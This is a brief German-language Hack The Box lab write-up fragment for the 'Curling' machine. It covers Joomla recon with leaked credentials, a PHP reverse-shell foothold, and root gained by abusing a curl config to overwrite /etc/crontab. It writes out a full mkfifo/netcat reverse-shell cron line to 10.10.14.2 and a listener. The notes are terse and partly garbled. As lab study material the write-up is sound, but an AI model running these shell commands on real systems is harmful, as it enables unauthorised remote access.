HTB · published
Curling
HTB Machine Writeup zu Curling ist aktuell nur als Lab Fragment dokumentiert. Vollständiges Writeup folgt bei sauberer Rekonstruktion.
Metadaten
- Name: Curling
- Plattform: Linux
- Kategorie: HTB Machine
- Schwierigkeit: Easy
- Ziel(e): User, Root/Administrator
- Kurzbeschreibung des Szenarios: HTB Machine Writeup zu Curling aus dem Intro-to-Dante-Kontext.
Target Info
10.10.10.150
Recon / Enumeration
22, 80 joomla http://10.10.10.150/secret.txt Q3VybGluZzIwMTgh
creds! Floris:Curling2018!
Initial Foothold
use rev php shell https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
findings file: password_backup
creds: floris:5d<wdCbdZu)|hChXll
ssh!
User Privilege Escalation
Lateral Movement (optional)
Root Privilege Escalation
/home/floris/.config/lxc/config.yml
rl = “http://10.10.16.4/crontab” output = “/etc/crontab”
copy local /etc/crontab edit echo ’* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1338 >/tmp/f ’ >> crontab upload python3 -m http.server 80
listener nc -lnvp 1338
wait and enjoy!